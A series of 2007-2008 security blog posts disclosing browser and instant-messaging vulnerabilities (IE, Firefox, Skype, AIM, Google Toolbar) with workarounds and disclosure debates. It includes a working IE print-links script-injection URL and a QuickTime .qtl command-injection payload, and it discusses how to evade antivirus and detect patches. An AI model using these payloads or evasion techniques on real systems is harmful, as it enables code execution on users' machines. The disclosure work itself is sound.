So, then I decided to move few versions forward to 0.86c. This was the version I remembered having the update mechanism. It also had the option under the help menu (which brought the ugly window again). Clicking that button showed a new windows suggesting to download the “available updates” – version 0.86d.

clip_image004[4]

Hrmm.. Wait.. Shouldn’t v0.86i be the latest VLC version? According to the VLC download website the answer is not yet, but even there it is version 0.86h and not 0.86d.

clip_image006

So, I’ve decided to download and install the 0.86d version anyway, just to find out that the "Check for updates" option is now missing again.

clip_image008[4]

Not a good way of implementing a software updater…

P.S. No, there was no automatic update on any of the versions I checked.


Wednesday, July 02, 2008 9:12:35 PM UTC | Comments [0] | Rant | Security#
Saturday, May 31, 2008
[Updated - see below]
Yes, you've read it right. Apple Safari can be used to pwn users with Internet Explorer installed. Well, basically this means that attackers can pwn Windows users who browse the web using Safari for Windows.

I've reported this issue to Microsoft over a week ago, and they have just issued a security advisory.
I've decided to work with Microsoft on this issue, because this combined attack also exploits an old vulnerability in Internet Explorer that I've already reported to them a long long time ago.

The root of this combined attack is Safari's "Carpet Bomb" vulnerability that was recently found by Nitesh Dhanjani. I didn't bother contacting Apple, as they've told Nitesh that they consider this as an "enhancement request" and will not bother to fix this issue any time soon.

safaripwnsie


I've currently decided not to publicly disclose any further details, until Microsoft or Apple provide a patch. I can only say that Microsoft's suggestion for a workaround is not enough. This combined Safari/IE vulnerability might still be successfully exploited, even if the user will change Safari's download location. Also, the Safari "Carpet Bomb" vulnerability can be used in combination with vulnerabilities in other products, so even if MS fixes their vulnerability,  Safari users will still be vulnerable.
The current best solution is to stop using Safari until Apple fixes their vulnerability.
I would like to take this opportunity and remind you that I've added a new RSS feed for the upcoming advisories. This feed will include new vulnerabilities which I've found but have not yet published their technical details on my blog.

Security vendors are welcomed to contact me in order to get more information about those vulnerabilities.

[UPDATE 07-JUNE-2008] Microsoft took my advice and updated the suggested workaround in the advisory. This updated workaround reduces the probability of being exploited to almost zero.
So, if you decide to keep using Safari for Windows, you should follow the steps described in the new workaround.


Saturday, May 31, 2008 12:45:38 PM UTC | Comments [2] | Security#
Thursday, May 22, 2008

During the past 2 weeks I got tons of questions regarding the 0day treasure hunt and the vulnerability itself. In order to make things more clear and understandable, I've compiled a list of answers for several frequently asked questions.

 

Q: Why do you involve politics and security?

A: I see nothing politic in celebrating my country's independence day. I'm sure you all do the same in your own country. We also play this treasure hunt game during the Passover holiday, but I thought it will more suite independence day this year. Maybe next year I'll do it earlier in Passover.

 

Q: Can you explain the clues? I'm not sure how they fit with the 0day treasure.

A: Sure. You can find the clues here. I'll explain each of them by their number.

  1. Obviously, the vulnerability affects Internet Explorer 7.0 and 8.0 beta. According to Secunia it also affects IE6.
  2. In order to exploit the vulnerability the user must interact with the exploit by printing the webpage and enabling the "Print Table of Links" option.
  3. The proof-of-concept code was embedded in all of the pages of the blog.
  4. The proof-of-concept was hidden as a "tracking" script that was dynamically generated in order to generate a link. This script used XMLHttpRequest to get a page that returned the main page of the blog, but with a 404 (File Not Found) status code.
  5. Acidus wrote in a blog post about the Phishing hole I found a year ago in IE7. Both vulnerabilities are within Internet Explorer "local resources". Acidus was right in that I then said that only most of the local resources are running in "Internet Zone". The 0day vulnerability is within a local resource which runs in "Local Machine Zone".
  6. Anchor = HTML anchor (<a> tag) = link. What else can you do with a link? Print it.. (I did say think "out of the box")
  7. Charles Babbage is the inventor of the printer.
  8. This screenshot is of the actual vulnerable code in the local resource script. One line of code is needed to be fixed here.
  9. First video: Print. Second video: Table. Third video: Links. ===> Print Table of Links. Simple as that.

 

Q: How critical is this vulnerability anyway?

A: Well, it depends. As this vulnerability requires user interaction in order to be exploited, it will surely not be used in a worm scenario. However, it still highly possible to be used in several other attack scenarios. For example, an attacker can add malicious links to massively printed user generated websites (e.g. Wikipedia, technical forums, blogs, etc.) and just wait for the victims to print those pages with the "print table of links" option (usually used to print a "references" appendix).

 

Q: So if that's the case, why haven't you waited a reasonable time to let Microsoft patch this vulnerability?

A: I've had bad past experience with Microsoft's response time. The last time I used their "responsible disclosure" policy, I had to wait 6 months for them to fix a one line of code in a non core component. As I've already showed, this 0day vulnerability also requires one line of code to be fixed, and I'm sure no one wants to wait 6 months for it to fix. Past experience also shows that Full Disclosure can help in getting a quicker fix. I usually do provide enough time for a vendor to fix a vulnerability.

 

Q: My security product (Anti-Virus/IPS/IDS) says that it detects this vulnerability. Am I safe to print pages with links?

A: Not necessarily. Even though several AV products have already added a signature to the proof-of-concept I provided (see Figure 1), they only protect you against this specific proof-of-concept. How do I know? Very simple, I just changed the proof-of-concept a little bit (the proof-of-concept still executes Windows Calculator), and tested against VirusTotal again. This time no AV product could detect it (see Figure 2). You can test the new proof-of-concept yourself here. Anyway, you should really ignore the PR guys of the security companies who simply lie when they say that their product protects against this 0day vulnerability. It doesn't. In this case, it just try to protect you against executing Windows Calculator on your machine.

 

0day-faq-figure1         0day-faq-figure2

Figure 1 - Several AV detect the PoC              Figure 2 - No AV detect the slightly modified PoC


Thursday, May 22, 2008 5:09:28 PM UTC | Comments [0] | General | Security#
Wednesday, May 14, 2008

Summary

Internet Explorer is prone to a Cross-Zone Scripting vulnerability in its “Print Table of Links” feature. This feature allows users to add to a printed web page an appendix which contains a table of all the links in that webpage.

An attacker can easily add a specially crafted link to a webpage (e.g. at his own website, comments in blogs, social networks, Wikipedia, etc.), so whenever a user will print this webpage with this feature enabled, the attacker will be able to run arbitrary code on the user’s machine (i.e. in order to take control over the machine).

Affected version

Internet Explorer 7.0 and 8.0b on a fully patched Windows XP.

Windows Vista with UAC enabled is partially affected (Information Leakage only).

Earlier versions of Internet Explorer may also be affected.

Technical details

Whenever a user prints a page, Internet Explorer uses a local resource script which generates an new HTML to be printed. This HTML consists of the following elements: Header, webpage body, Footer, and if enabled, also the table of links in the webpage.

While the script takes only the text within the link’s inner data, it does not validate the URL of links, and add it to the HTML as it is. This allows to inject a script that will be executed when the new HTML will be generated.

As I said in a previous post, most of the local resources in Internet Explorer are now running in Internet Zone. Unfortunately, the printing local resource script is running in Local Machine Zone, which means that any injected script can execute arbitrary code on the user’s machine.

printtableoflinks

Proof of Concept

The following is an example of a URL which executes Windows Calculator:


http://www.google.com/?q=<script defer>new ActiveXObject(“Wscript.Shell”).run(“calc”)</script>

 

I removed the proof-of-concept of the 0day treasure hunt. A live proof-of-concept can be found at milw0rm.

Solution / Suggestion

I’ve contacted Microsoft last Tuesday. Their last response was that they are looking at an appropriate fix.

Until a patch is available, I suggest not to use the “print table of links” feature when printing a webpage.


Wednesday, May 14, 2008 1:12:52 PM UTC | Comments [8] | Security#
Wednesday, May 07, 2008

[And the winner is: George the Greek]
Today we are celebrating, here in Israel, 60 years of being an independent country. As part of the celebration, I’m releasing a new 0day vulnerability.
One of our customs in Independence day is to play a “treasure hunt” game. In this game there is a treasure hidden somewhere in our beautiful country, and we get mysterious clues that help us find this treasure by traveling to many great sites all over Israel.
In the spirit of this day, I’ve decided not to release full details about this vulnerability yet, but rather play a little “treasure hunt” game.
Somewhere in my blog, I embedded a proof-of-concept code which exploits this 0day vulnerability. The following are some clues that will help you find this 0day treasure:
  1) IE7.0 and IE8.0b users will get pwned.
  2) An interaction with the sploit is needed.
  3) There’s no need to find the post. It’s everywhere.
  4) 404 is the way to go.
  5) Acidus was right! Local resources is the key. 
  6) What else can you do with an anchor? Think out of the box, literally.
  7) Charles Babbage is probably turning in his grave. 
  8) The following screenshot should really help you find the source of the treasure:
    
9) Put the videos together to find the treasure.
        

Every day or two I will add a new clue to this list, in a hope that by next Wednesday someone will eventually find the treasure :-)
Next Wednesday I will release the full technical details of this 0day vulnerability and the proof-of-concept code.
Until then, feel free to comment your findings. The first person who will post a comment with the proof-of-concept code and details on how to use it to exploit the vulnerability will be declared as the winner.
Now, I don’t have any laptop prize to give the winner. But, beside the credit for being the first to find a 0day treasure, I’m willing to offer the winner a free entrance to the IsraCON security conference that will take place in Israel this summer.

Happy hunting!

[UPDATE 08-May-2008] Some of you guys out there are already in the right direction, some are not. I've added 2 more clues.
[UPDATE 10-May-2008] You are getting closer. Pay attention to clue number 6.
[UPDATE 11-May-2008] Yet another clue added.
[UPDATE 12-May-2008] I've added a new screenshot clue. 
[UPDATE 13-May-2008] Last clue added (3 videos). The game will end tomorrow evening (Israel time). You still have enough time to find the treasure.
[UPDATE 14-May-2008 02:30] And we have a winner! details soon...
[UPDATE 14-May-2008 16:15] The winner is: George the Greek. Congratulations! Full technical details of the vulnerability are available here.


Wednesday, May 07, 2008 5:07:30 PM UTC | Comments [26] | General | Security#
Wednesday, April 02, 2008

I hate when things like this happen. You are too eager to succeed in something, and it eventually fails because of pure bad luck. This exactly what happened to me in CanSecWest's PWN2OWN contest.

I've heard that the second PWN2OWN contest will be held at CanSecWest, a week before the conference began. I couldn't attend the conference this year, but I did want to participate. So, I looked at my vulns arsenal, and picked one that looked pretty neat, was easy to exploit, and met the contest terms: the vulnerable application is AIM (a popular software client), exploiting the vulnerability allows remote code execution, and the neat thing is that the exploiting the vulnerability requires Man-In-The-Middle, which can be easily achieved by using the cool AirPwn tool.

The next thing was to look for an on-site trusted person, with enough skills to build the attack. Fortunately, I've been able to contact Steve Manzuik, who teamed up with AirPwn creator, Bryan Burns, to create the exploit.

Now that we were ready, the only thing that we waited for was the first day of the contest to arrive. Unfortunately, and this is where the bad luck begins, a day before the contest began Tipping Point have decided to change the rules. So now, instead of being able to participate in the contest from the first day, we had to wait for others to try and exploit the machine for a whole two days, before we can start.

Day 3 came. Vista machine was still up, MacBook air already gone, and my friends, Steve and Bryan, are waiting in line for the contest. One place before them in the line was the winner of last year's contest, Shane Macaulay. Rumors were that he had a working exploit. 10 minutes passed, nothing. 20 minutes, not a single word. After 30 minutes (the official limit for each turn), the word was out that there were some kind of hardware problems. Eventually, after few hours (??), with some help from his friends, Shane was able to get his Flash exploit working. Kudos to Shane, Alexander and Derek for winning!

 

Now I left with one little problem. What should I do with the AIM vulnerability. The way I see it, I have three choices:

1) Leave it as it is - Only Steve, Bryan and me will know about it, until eventually someone else will find it.

2) "Responsibly" disclose it - Send all the information to AOL, wait for a fix to be delivered, and then publish the technical stuff.

3) Full Disclosure - Inform AOL, and in parallel publicly disclose all the technical information.

 

I'm interested in what you think the best choice is. Please comment or send me an email with your thoughts. New ideas are also welcomed.


Wednesday, April 02, 2008 6:27:42 PM UTC | Comments [4] | Security#
Thursday, January 31, 2008

A patch for the cross-zone scripting vulnerability in Skype is still not available. As I mentioned in my first advisory, Skype renders HTML pages in several dialogs.

One of these dialogs is used by a feature called "SkypeFind". This feature, available from version 3.1, allows Skype users promote and review businesses around the world. Sadly, it could also be used by attackers to own Skype users' machines.

Within this feature any Skype user can add a new business and review an existing business. Skype does a great job sanitizing the data provided in the business item entry, and also the text provided in the user's reviews.

Unfortunately, they forgot to sanitize the full name of the reviewers. So, an attacker can inject a malicious script in his Skype's Full Name, and whenever a victim will view a business which was reviewed by the attacker, in the SkypeFind dialog, the malicious script will be executed in an unlocked Local Zone!

Fortunately for the attacker, it is also possible to open the dialog in a specific business details page from the browser, using the skype: URI handler (e.g. skype:?skypefind ). This means that it is possible for the attacker to create a worm!

The attacker however, must authorize the victim to view the attacker's full name, but this can be easily achieved in the following two ways (thanks pdp for the second suggestion!) :

  1. Interactive bot:
    • The victim enters a malicious website which automatically calls the attacker via Skype. This can be done by using the skype: URI handler (e.g. skype:attacker?call)
    • The attacker's bot intercept the call, and cancels it. Now that the bot has the victim's username, it uses the User.IsAuthorize API call to allow the victim to view the attacker's full name.
    • After a few seconds, the malicious website opens the malicious SkypeFind dialog, and the victim gets owned!
  2. Passive bot:
    • A passive bot is searching the Skype network for active users.
    • For each user the bot uses the User.IsAuthorize API call to allow the victim to view the attacker's full name.
    • When a victim who was authorized visits a malicious website, the malicious SkypeFind dialog will be opened, and the victim will be owned!

I've contacted Skype security team, and they have provided a quick fix for the full name issue.
Unfortunately, this is not enough! I'm worried that there are probably other ways to inject a script to this dialog.
I strongly advised Skype to disable this feature until they provide a patch for the cross-zone scripting vulnerability. For no good reason, they have decided to decline my advice.

Therefore, until a patch is available, my suggestions to Skype users are:

  • Disable the SkypeFind tab. Goto "View" -> "Tab and panels", and uncheck "SkypeFind Tab".
  • Disable the skype: URI handler. This can be done by a registry change, and I recommend it only for power users.
  • Other users who don't want to mess with the registry should uninstall Skype. Having Skype installed without using it will not solve the problem, as the skype: URI handler will automatically open Skype and login!

Zull (Guy Mizrahi) has created a great demonstration video. A better quality video is available here.

 


Thursday, January 31, 2008 12:35:41 PM UTC | Comments [1] | Security#
Tuesday, January 22, 2008

[More updates at the end of the post]
As of last Saturday, Skype have disabled adding videos from Dailymotion. They have announced it in their security bulletin.

While this "workaround" was good enough to mitigate the proof-of-concept I provided, it cannot be considered a real workaround that will help secure Skype users, until a patch is available.

For an unknown reason, Skype have decided to leave adding Metacafe videos through its' "Add video to mood" and "Add video to chat" features. So basically, injecting a script to Metacafe video's metadata (Title, Description, etc.) should be - again - enough to execute code from remote.

So, I've tried a simple script tag injection to the metadata of a video, and failed because Metacafe are stripping HTML tags from the metadata. I did that by submitting a video through the Metacafe website.

But then I saw a little link on the upper right of the website, suggesting to download "Metacafe pro", which is the software version of the Metacafe website. So, I did, and surprise, surprise... Submitting a video with HTML and script tags through the "Metacafe pro" application does not filter the tags!

After few tweaks (Thanks Golan!) I was able to create a fully working proof-of-concept exploit.

The more troubling issue here is that this PoC can actually be triggered by simply visiting a website, or clicking on a link from your Instant Messaging application. Which basically means that this vulnerability is now wormable!

This is why I've decided not to publicly disclose the proof-of-concept, nor to show a video that might disclose too much information.

I've sent the PoC to Skype's security team, and have been told that they are going to release a patch for this vulnerability ASAP. Furthermore, they have now disabled the Metacafe tab too - which means, no more adding videos in Skype until a patch is released...

 

[UPDATE 23-JAN-2008 00:55 GMT+2:00] For no good reason, Skype have decided to bring back the Metacafe videos feature. The proof-of-concept still works. So, as this is a wormable vulnerability, my advice for you guys is to downgrade your Skype to a version that does not support adding videos (before v3.5.0), or even better - Uninstall Skype, and use an alternative client!

[UPDATE 23-JAN-2008 11:30 GMT+2:00] After talking with the Skype security team, it seems like bringing Metacafe back was probably a malfunction, and surely was not on purpose. They are doing their best to disable it again. I for one can say that on some of my computers Metacafe is now disabled. Let's hope they'll disable it everywhere, at-least until a patch will arrive.


Tuesday, January 22, 2008 4:15:28 PM UTC | Comments [1] | Security#
Thursday, January 17, 2008

Skype uses Internet Explorer web control within the application to render internal and external HTML pages. Examples for this pages are the "Send money via PayPal" dialog, or "Add video to chat" dialog.

Recently, I've discovered that Skype is running this web control in Local Zone. The more problematic issue here is that Skype runs the HTML pages is a not-locked Local Zone mode, the same as AOL's AIM does in the chat message window.

This means, that if it is possible to inject a script to any of those pages, it is possible to execute code on the user's machine. pdp suggested that AirPwn can be used for that, and I can't do more than agree with him.

Today, Miroslav Lučinskij posted to Full-Disclosure that it is possible to inject a script to the "Add video to chat" dialog via the Title field of the DailyMotion movie information. He called this a Cross-Site Scripting vulnerability, but it is actually a Cross-Zone Scripting vulnerability, because the script runs in IE's Local Zone instead of the Internet Zone.
This basically means that an attacker can now upload a movie, set a kewl popular keyword (e.g. "Paris Hilton"), and own any user that will search for a video with those keywords through Skype.

I've tested this with the latest version of Skype - v3.6.0.244. Prior versions may also be affected.

Until the Skype guys fix this vulnerability, I recommend that you stop searching for videos in Skype.

I've created a proof-of-concept which executes the calculator when searching for "calc test" in Skype's "Add video to chat" dialog.
The following video demonstrates the proof-of-concept:

 


Thursday, January 17, 2008 8:15:24 PM UTC | Comments [8] | Security#
Tuesday, January 15, 2008

After reading the great post, I must say, "Hacking the Interwebs" by the GNUCitizen team, I thought that it would be a waste not to try and find a way of attacking UPnP without the Flash requirement.

Basically, what needs to be achieved in order to attack the device through UPnP over HTTP is to:

  1. Be able to send a "POST" request to the device's IP address.
  2. Be able to set the "SOAPAction" header of the "POST" request.

Now, because we can't set headers in a simple HTML form submission, we can instead use XmlHttpRequest. But,  becuase the device's IP address is of-course different from the attacker's web site IP address, the same origin policy comes into play.

If we'll disregard that the device might have XSS vulnerabilities, another way of breaking the same origin policy is DNS pinning.

I was about to start and investigate whether XmlHttpRequest and DNS pinning can be used to attack UPnP enabled devices, just to find out that someone else has already done this research.
And this was done almost a year ago!

Yet another reason to shout: DISABLE UPnP NOW!


Tuesday, January 15, 2008 10:16:13 AM UTC | Comments [0] | Security#
Sunday, January 13, 2008

Evasive attacks are everywhere. Malicious attackers are using methods like blocking multiple visits to an exploit, or serving specific exploits per browser, in order to minimize the detection of the attack by the security vendors.

Another way to evade an attack is patch detection. Why try to exploit a machine which has a patch for a vulnerability already installed?

This method can be easily implemented using known local file enumeration attacks. For example, in Internet Explorer, using the res protocol handler, it is possible to detect local files by loading local image resources, or by using timing attacks.

Most installed patches are saving an un-installation setup program. The path to this program is usually: "\WINDOWS\$NtUninstallKBXXX$\spuninst\spuninst.exe", where XXX is the knowledge base number of the patch.

So, for example, if an attacker would like to know if he should serve an exploit for the MDAC vulnerability, he can detect if the client has the MS06-014 patch installed. According to the MS bulletin, 911562 is the knowledge base number of this patch, so he can now check if the file "\WINDOWS\$NtUninstallKB911562$\spuninst\spuninst.exe" exists. If this file does not exist, he will then serve the exploit. If the patch does exist, he will not serve the exploit, and by that he will minimize the probability of being detected.

There are already proof-of-concepts for local file enumerations out there, so I see no reason for providing another one. As I've already mentioned, the PoC's can be easily modified to implement patch detection.

 

P.S. - Patch detection can also be used for legitimate causes. I encourage you all to download Secunia's PSI (Personal Software Inspector), and check whether you have an unpatched software installed on your machine. Although, now that there is a way to detect patches from remote, we might see an online version of PSI soon :)


Sunday, January 13, 2008 5:35:41 PM UTC | Comments [0] | Security#
Saturday, January 05, 2008

Due to some questions I received regarding my latest post on the dialog spoofing vulnerability in Firefox, I've decided to put a list of frequently asked questions.

 

Q: Does this vulnerability affect Mozilla Firefox 3?

A: Yes. It does affect the latest available beta of Firefox 3.

 

Q: Is there an open ticket for this issue at Mozilla's Bugzilla?

A: According to Window Snyder's blog post, this bug can be tracked here: https://bugzilla.mozilla.org/show_bug.cgi?id=244273

 

Q: Why should Firefox sanitize single-quotes and spaces? Mozilla follows the standards, and the RFC says the Realm value is a quoted-string.

A: Nowhere in my advisory I said that Mozilla does not follow the standards in this case. But, because of the way they implement dialog, it is possible to create fake double quotes, and by using multiple spaces it is possible to fake a new line. I also did not suggest to sanitize the single-quotes and spaces as a solution. In my opinion, a better solution would be to display the server name before the realm value, or even in a different field or in the title of the dialog.

 

Q: Is there a proof-of-concept available for this vulnerability?

A: While I did not provide a proof-of-concept for this issue, it is very easy to follow the instructions on my advisory to create one. In fact, Alex of bitsploit.de has already created a good demonstration on his blog.

 

Q: How did you discover this vulnerability?

A: I've found a similar vulnerability in an early version of Firefox (back when it was still called Firebird). Lately, Zull's forums (Hebrew) were attacked by a basic authentication phishing attempt. This attack included just the server name of Zull (hacking.org.il) in the realm value. I then remembered my old finding, and tested it in the new version of Firefox, just to find out that there is a much easier way to exploit it.

 

Q: How do other browsers display the Basic Authentication page?

A: The guys at Kriptopolis blog have published some screenshots of Internet Explorer, Firefox, Opera and Konqueror displaying a spoofed Basic Authentication dialog.

 

Q: I'm using (Fill in product name)-Anti-Phishing tool. Am I protected against this vulnerability?

A: While anti-phishing tools may help in some cases, most of them will block the phishing  page only after the page is displayed, or will just display the currently visited domain in a toolbar. This means that some of the anti-phishing tools may not be able to protect you against this vulnerability, as the phishing attempt will occur before a page in the attacker's domain will be displayed.

 

Q: Are there any other attack vectors?

A: I'm sure that there are other attack vectors which can be used to attack this vulnerability. For example, Alex of bitsploit.de has found that if you have the FasterFox extension installed, an attacker can just put a link on a trusted page. FasterFox will then use its' pre-fetching feature to try and cache the attacker's link which will trigger the spoofed basic authentication dialog.

 

I hope that these answers make things more clear. If you have any other question, don't hesitate to comment or just send me an email.


Saturday, January 05, 2008 12:46:22 PM UTC | Comments [0] | Security#
Wednesday, January 02, 2008

Summary

Mozilla Firefox allows spoofing the information presented in the basic authentication dialog box. This can allow an attacker to conduct phishing attacks, by tricking the user to believe that the authentication dialog box is from a trusted website.

 

Affected versions

Mozilla Firefox v2.0.0.11.
Prior versions and other Mozilla products may also be affected.

 

Technical details

Mozilla Firefox displays an authentication dialog, whenever the visited web server returns 401 status code, and the "WWW-Authenticate" header. In order to specify basic authentication, the "WWW-Authenticate" header should have the value [Basic realm="XXX"] (without the brackets). The Realm value, which in this case is XXX, will be displayed in the authentication dialog window.

While Firefox does not display the characters in the "WWW-Authenticate" header Realm value after the last double-quotes ("), it fails to sanitize single-quotes (') and spaces. This makes it possible for an attacker to create a specially crafted Realm value which will look as if the authentication dialog came from a trusted web site.

 

image

 

There are at-least two possible attack vectors:

  1. An attacker creates a web page with a link to a trusted website (e.g. Bank, PayPal, Webmail, etc.). When the victim clicks on the link, the trusted web page will be opened in a new window, and a script will be executed to redirect the new opened window to the attacker's web server, which will then return the specially crafted basic authentication response.
  2. An attacker embeds an image (pointing to the attacker's web server, which will return the specially crafted basic authentication response) to:
    1. A mail which will be sent to a webmail user.
    2. RSS feed which will be consumed by a web RSS reader.
    3. A forum/blog/social network page.

 

A video which demonstrates the first attack vector can be found on YouTube. A better quality video can be download from here.

A video of a real live attack on a forum, which used basic authentication but without exploiting the vulnerability, can be found on Zull's weblog (Hebrew).

 

Suggestion / Workaround

Until Mozilla fixes this vulnerability, I recommend not to provide username and password to web sites which show this dialog.

[UPDATE:] Due to some questions, I've put a list of frequently asked questions.

 


Wednesday, January 02, 2008 10:15:57 PM UTC | Comments [9] | Security#
Tuesday, December 18, 2007

Summary

Google Toolbar allows spoofing the information presented in the dialog which is being displayed when adding a new Google Toolbar button. This can allow an attacker to convince the users that his button comes from a trusted domain. This button can then be used to download malicious files or conduct phishing attacks (e.g. show a login form of a bank).

Affected versions

  • Google Toolbar 5 beta for Internet Explorer
  • Google Toolbar 4 for Internet Explorer
  • Google Toolbar 4 for Firefox (partially)

Technical details

Google Toolbar provides a nice API for creating toolbar buttons. Basically, the button information is stored in an XML file.

In order to add a button, the toolbar user must click on a specially crafted link which refers to the button's XML file. When the user click on the link, a dialog appears with all the following details: The domain where the button is being downloaded from, the name, description and icon of the button and some "privacy considerations", which basically shows the domains which the button interacts with (sends/receive information).

By creating a specially crafted URLs it is possible for an attacker to fake the domains displayed in the "Downloaded from" and "Privacy considerations" sections. This specially crafted URL can be created by simply adding an open redirector (e.g. in google.com - http://www.google.com/local_url?q=) before the URL.

An attacker can use this vulnerability to gain the victim's trust to add and use the button, and by that the victim will trust the files that the button offer, or enter private information. In the new beta version of the toolbar it is also possible to alert the user every few seconds to click on the button.

In the Firefox version of Google Toolbar it is only possible to fake the "Privacy considerations" section.

Proof-of-Concept

A proof-of-concept which adds a "critical update" button can be found here. Use it at your own risk, though it shouldn't do anything but suggest you to download gupdate.exe from my site, which is basically the windows calculator.

Workaround / Suggestion

Google have acknowledged this and are already working on a fix.
Until a fixed version is provided, I suggest to avoid adding new buttons to the toolbar.


Tuesday, December 18, 2007 3:13:29 PM UTC | Comments [1] | Security#
Thursday, November 22, 2007

No. I'm not going to show you how to use Cross-Site Request Forgery (CSRF) in order to attack mobile phones while using a mobile phone to surf the web. Instead, I'm going to talk about how CSRF vulnerabilities can be used to cause denial-of-service attacks against mobile phones, by flooding the phone with SMS and service messages.

Mobile phone service providers in Israel, and throughout the world, provide a web interface to send SMS messages. Fortunately, they limit the SMS sending web interface to 20 messages per day, and they also require the user to login to their web site in order to send an SMS.

Unfortunately, at-least when referring to the Israeli providers, they also give attackers a way to send endless SMS and service messages without any kind of authentication and with a simple HTTP request. While this method doesn't allow to specify the message of the SMS, it does allow the attacker to specify the targeted phone number.

All Israeli mobile phone providers (Orange, Cellcom, and Pelephone) place at-least one advertisement on their website, which require their customer to enter their mobile phone number in order to get a specific service, a coupon, or a password for an online service. This ad (mostly written in Flash) simply sends an HTTP request to the mobile provider web servers which then sends the SMS message to the given phone number. Again, this web service is not limited and the messages can be sent to any number over and over again.

With this CSRF vulnerability, an attacker can send multiple requests to the server in order to make the use of the mobile phone not practical. This is because the victim will get so annoyed (sometimes even without a way to make a phone call) that he will probably just shut the phone down. The attacker can also place an IFRAME or image on a website (e.g. MySpace profile, a forum post, etc.) which will be used to mimic the ad's HTTP request. So, on every visit of this page, the victim will get an SMS. On high volume website pages (e.g. MySpace or Facebook profiles), this will cause a lot of requests to be sent to the mobile provider web service and the victim will again get too much messages which will make its mobile phone useless.

Other mobile phone providers around the world might also have advertisements which allow sending SMS without any limitations. My suggestion to the mobile phone providers is to limit the ads SMS sending web service to one SMS per phone number per day.

 

P.S. the GNUCitizen team has published a great explanation on CSRF and how it can be exploited.


Thursday, November 22, 2007 11:23:32 PM UTC | Comments [3] | Security#
Monday, October 15, 2007

Sometimes it is nice to see old vulnerabilities come back from the dead.

This time I'm referring to a vulnerability in Internet Explorer that was discovered almost 3 years ago by cyber_flash. The vulnerability allows an attacker to bypass the security download warning dialog, and display a regular save file dialog, by manipulating IE into displaying executable file (a file with .exe extension) as a regular html file.

While this vulnerability was partially patched by Microsoft in IE7, it was still remained unpactched in IE6 SP2.

Few days ago, this vulnerability came back to life when laurent gaffi posted in Bugtraq that it is possible to download and open an executable file in an application associated to a different extension, using a very similar specially crafted URL that was used in cyber_flash's proof-of-concept.

I've been able to use this old vulnerability to automate an attack vector that was found by pdp from GNUCitizen. In his proof-of-concept, pdp exploits a vulnerability by opening a manually downloaded PDF file in Adobe Reader. When I tried to open the PoC file inside IE7 it didn't exploit the vulnerability. This is probably because the Adobe Reader ActiveX control is running in a different way, in terms of security, than the external application. Therefore, I used the old IE vulnerability in order to automatically download and open the PoC PDF file in the external Adobe Reader application. The exploit then executed the Windows calculator.

The following is a video which demonstrates the difference between opening the proof-of-concept PDF file in the browser (embedded) and in the external application.

You can also download this video (better quality) from here.


Monday, October 15, 2007 9:16:50 PM UTC | Comments [1] | Security#
Sunday, October 14, 2007

Finally, AOL have released the new version (v6.5) of AIM.

I've tested this version against the critical vulnerability I've found. While it does fix the specific attack vector of the vulnerability, it still does not utilize the Local Zone lockdown. This means that if someone will found another way to inject a script to a message, it will still be possible to execute arbitrary code from remote.

I've decided to postpone the release of my proof-of-concept, at least until AOL will fix their client properly. This is mainly because it will probably not be so hard to manipulate the PoC and find another way to inject a script, and there's a short way from this to creating a massive IM worm.

Unfortunately, there are no release notes to indicate that there was a security fix in the new version.

You can find more info about the vulnerability at Core's advisory and Ryan's security blog.

 


Sunday, October 14, 2007 4:04:32 PM UTC | Comments [0] | Security#
Tuesday, September 25, 2007

AOL's AIM is one of the most used IM clients in the world. According to Neilsen/Netratings, AOL had around 53 million IM subscribers in 2006.

A week ago, I've found a critical vulnerability in the latest version of AIM, which could allow an attacker to execute code from remote by simply sending a message to the victim.

Just before reporting the vulnerability to AOL, I've encountered a blog post by Ryan Naraine which describes a vulnerability in AIM that was found by "Shell". After reading the advisory, I understood that this vulnerability is a bit different from the one that I found, as it is in the Notification window which pops-up only when you are not in the middle of conversation with the attacker.

So, I've decided to report the vulnerability to AOL, and provided full description and Proof-of-Concepts. I have yet to receive any response from AOL.

Today, Core Labs have published an advisory which describes the general case of my findings. In the advisory they also claim that AOL has patched the vulnerability, so the latest beta version (v6.5.3.12) of AIM is not vulnerable anymore.

I've tested the PoC which I provided to AOL against the "patched" version. While the latest beta version seems to filter my PoC, I've been able to change my code a little and successfully exploited the vulnerability again.

The problem with AOL's patch is that they filter specific tags and attributes, instead of fixing the main cause of the vulnerability, which is locking down the local zone of their client's web-browser control.

Core Labs describes a workaround in their advisory which messes up with the registry. I think that the common people should avoid this workaround, and stop using AIM until a real fix from AOL will arrive.

I also encourage AOL security staff to contact me as soon as possible. I am willing to provide them with all the new information. I will not contact AOL again, as I'm still waiting for AOL to respond my first email.

[UPDATE:] I've just got an email from AOL which confirms that the "patched" beta version is still vulnerable:


Hi,

We apologize, for not initially responding to your email.  We have already fixed out client on these issues and the client is scheduled for a mid-October release.  This fix is not yet in the current AIM beta client.

Thanks
AOL Product Vulnerability Team


Again, try to avoid using AIM at-least until the mid-October release.


Tuesday, September 25, 2007 9:13:52 PM UTC | Comments [5] | Security#
Friday, September 14, 2007

Performing XAS (Cross Application Scripting) attacks automatically (read "no user interaction") is very easy, as I showed before in my "shutting down skype" proof-of-concept.

But, what if you are using a limited web environment, where you can't use iframes or scripts to automate your pwning? Several limited web environments (e.g. blogger.com blog system) does not allow using iframes or script, but they do allow embedding QuickTime movies.

Few days ago, pdp found that it is possible to use QuickTime .qtl files to execute code from remote, when the default browser is Firefox. This is a variant of the good old MOAB #3 and pdp's own MP3 backdooring exploit. It uses a simple "-chrome" command-line switch injection.

As this is a Firefox only exploit, I looked for ways to do the same in Internet Explorer. I found that it is also possible to perform all other noted XAS attacks using QuickTime.

So now, if you are in a limited web environment, you can just embed a .qtl file and conduct an automated XAS attack against the visitor of the web page.

The following is the QuickTime .qtl version of the "shutting down skype" PoC:

 
<?xml version="1.0">
<?quicktime type="application/x-quicktime-media-link"?>
<embed src="nothing.mp3" autoplay="true" qtnext="skype:&quot; /shutdown"/>
 

An online proof-of-concept in a limited web environment - blogger.com - can be found here.

Fortunately, MySpace were smart enough to finally remove all QuickTime movies from their pages. I hope others will follow them.

 


Friday, September 14, 2007 4:03:30 PM UTC | Comments [0] | Security#
Thursday, August 16, 2007

We've just passed Microsoft's black Tuesday. Microsoft have patched two vulnerabilities that I've reported in the Windows Vista Sidebar gadgets.

The first vulnerability was in the Contacts gadget. Because I was supposed to present this vulnerability at Defcon as Finjan's representative, I cannot discuss it. But, you can find information about this vulnerability at Finjan's MCRC blog post.

